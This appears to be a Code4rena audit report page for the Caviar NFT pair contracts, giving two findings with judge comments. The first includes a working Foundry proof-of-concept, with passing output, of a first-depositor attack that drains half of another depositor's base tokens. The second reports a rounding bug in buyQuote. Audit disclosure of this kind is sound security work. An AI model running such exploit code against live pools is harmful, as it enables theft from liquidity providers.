Platform: Code4rena
Start Date: 12/12/2022
Pot Size: $36,500 USDC
Total HM: 8
Participants: 103
Period: 7 days
Judge: berndartmueller
Id: 193
League: ETH
Rank: 53/103
Findings: 2
Award: $52.93
๐ Selected for report: 0
๐ Solo Findings: 0
๐ Selected for report: minhquanym
Also found by: 0x52, 0xDecorativePineapple, Apocalypto, BAHOZ, ElKu, Franfran, HE1M, Jeiwan, KingNFT, Koolex, SamGMK, Tointer, Tricko, UNCHAIN, __141345__, ak1, aviggiano, bytehat, carrotsmuggler, cccz, chaduke, cozzetti, dipp, eyexploit, fs0c, haku, hansfriese, hihen, immeas, izhelyazkov, koxuan, ladboy233, lumoswiz, rajatbeladiya, rjs, rvierdiiev, seyni, supernova, unforgiven, yixxas
6.9881 USDC - $6.99
https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L423 https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L63 https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L107
The first depositor of the pool can wreck up the price of the shares for the future depositors (mostly as the pair launches) because of the rounding.
fractionalTokens
baseToken
with 1e18 denominations of fractionalTokens
, and receives about 1e9 LP tokens using add()
fractionalTokens
, but this time deposits 1e18 baseTokens
as well as 1e18 fractionalTokens
baseToken
, Alice shares of baseTokens
are huge, but the amount of LPs is calculated by comparing the smallest value between both shares in addQuote() once the liquidity is not null-ish anymore. Alice will receive 1e9 shares as well.remove()
his 1e9 LPs and receives half of the pool, so 1e9
of baseTokens
and 1e18
of fractionalTokens
Conclusion: Bob has "stolen" 5e17 wei of baseTokens
.
Note that this scenario could have been a frontrun, which by bribing a validator would have been much less risky.
See the following poc:
// SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "forge-std/Test.sol"; import "forge-std/console.sol"; import "../shared/Fixture.t.sol"; import "src/Caviar.sol"; import "script/CreatePair.s.sol"; contract SharesAudit is Fixture { address bob = address(uint160(bytes20(bytes("bob")))); address alice = address(uint160(bytes20(bytes("alice")))); bytes32[][] public proofs; function setUp() public { deal(address(usd), bob, 1, true); deal(address(usd), alice, 1e18, true); bayc.mint(bob, 1); bayc.mint(alice, 2); vm.startPrank(bob); usd.approve(address(p), type(uint256).max); bayc.setApprovalForAll(address(p), true); vm.stopPrank(); vm.startPrank(alice); usd.approve(address(p), type(uint256).max); bayc.setApprovalForAll(address(p), true); vm.stopPrank(); } function testBobCanSteal() public { uint256[] memory tid = new uint[](1); vm.startPrank(bob); tid[0] = 1; p.wrap(tid, proofs); // add only 1 wei of USD and 1 NFT p.add(1, 1e18, 0); vm.stopPrank(); vm.startPrank(alice); tid[0] = 2; p.wrap(tid, proofs); // add 1e18 USD and 1 NFT p.add(1e18, 1e18, 0); vm.stopPrank(); vm.startPrank(bob); // "pull the rug" p.remove(1e9, 0, 0); vm.stopPrank(); // bob has stolen half of the pools USD assertEq(usd.balanceOf(bob), 5e17); // bob took its fractional NFT back assertEq(p.balanceOf(bob), 1e18); } }
forge test --match-contract SharesAudit -vv [โ ข] Compiling... [โ ] Compiling 1 files with 0.8.17 [โ ] Solc 0.8.17 finished in 1.66s Compiler run successful Running 1 test for test/audit/SharesAudit.t.sol:SharesAudit [PASS] testBobCanSteal() (gas: 283312) Test result: ok. 1 passed; 0 failed; finished in 3.37ms
Manual inspection
As UniswapPair02.sol contract, mint a minimum amount of LP tokens that is set sensibly in order to have a value that would make it too expensive to exploit it even if the baseToken
has few decimals.
#0 - soosh1337
2022-12-20T02:16:17Z
Following the POC given, Alice could buy 0.5e18 fractional tokens for only 1 wei USD at step 3 instead of adding liquidity. In this case, Alice profits instead of Bob.
Considering a frontrunning scenario, Alice's tx would just revert since she would set minLpTokenAmount
, and expects 0 slippage as the first depositor.
#1 - Shungy
2022-12-20T05:46:05Z
This finding points out the bug in #90 , but fails to recognize the actual issue/impact. There is no thing as breaking the price of shares, anyone can rebalance that by swaps; the issue is that add
might use excess amounts of one of the reserve tokens and not refund the user.
I think this will be a tough call by judge whether to keep/invalidate/downgrade this finding.
#2 - c4-judge
2022-12-20T14:34:17Z
berndartmueller marked the issue as duplicate of #442
#3 - c4-judge
2023-01-16T11:54:52Z
berndartmueller changed the severity to 3 (High Risk)
#4 - c4-judge
2023-01-16T11:54:56Z
berndartmueller marked the issue as satisfactory
๐ Selected for report: Zarf
Also found by: 0xDave, Apocalypto, CRYP70, Franfran, Jeiwan, UNCHAIN, adriro, bytehat, chaduke, hansfriese, hihen, kiki_dev, koxuan, minhtrng, rajatbeladiya, unforgiven, wait, yixxas
45.9386 USDC - $45.94
https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L398-L400 https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L154
When needing to calculate the inputAmount
required to receive a certain amount of fractional tokens (called outputAmount
), we are deriving from the xy = k curve used on the Uniswap V2 protocol.
Some maths:
The so-called curve equation is:
xy = k
With
x
the reserves of base tokens andy
the reserves of fractional tokens in the pair.
We can also say that during a swap from base tokens
to fractional tokens
, the pool will earn
dx base tokens and dy fractional tokens.
Let's rewrite this as an equation:
(x + dx)(y - dy) = k
Which, as the relation should never break, be equivalent to:
(x + dx)(y - dy) = xy
We want to calculate the input amount dx
required in order to remove
dy
from the pool without breaking the constant product formula.
x + dx = xy / (y - dy) dx = (xy / (y - dy)) - x dx = (xy - xy + xdy) / (y - fdy) dx = xdy / (y - dy)
While taking into account the fees
denoted here as f
, the equation is as follow:
dx = xdy / (f * (y - dy))
Even if correct mathematically, solidity rounds down divisions. See the following solidity-shell
session:
ยป uint256 one = 1; ยป uint256 two = 2; ยป uint256 a = one / two; ยป a 0
Thus, we should add "1" as the input amount in order to account for the rounding down with the division.
Note that this function is used in the buy()
function and make users buy the fractional tokens at a slightly reduced price, which breaks the Uniswap V2 style curve logic.
Additionally, the same calculation was done in the https://github.com/Uniswap/v2-periphery/blob/master/contracts/libraries/UniswapV2Library.sol#L58 contract of the UniswapV2 protocol, and this little denomination is added in order to round up the inputAmount
.
Manual inspection
Add 1 wei at the end of the division in order to round up.
/// @notice The amount of base tokens required to buy a given amount of fractional tokens. /// @dev Calculated using the xyk invariant and a 30bps fee. /// @param outputAmount The amount of fractional tokens to buy. /// @return inputAmount The amount of base tokens required. function buyQuote(uint256 outputAmount) public view returns (uint256) { return (outputAmount * 1000 * baseTokenReserves()) / ((fractionalTokenReserves() - outputAmount) * 997) + 1; }
#0 - Shungy
2022-12-21T07:38:30Z
Seems valid.
Dup: #436
#1 - c4-judge
2022-12-23T13:51:06Z
berndartmueller marked the issue as duplicate of #243
#2 - c4-judge
2023-01-10T09:43:41Z
berndartmueller marked the issue as satisfactory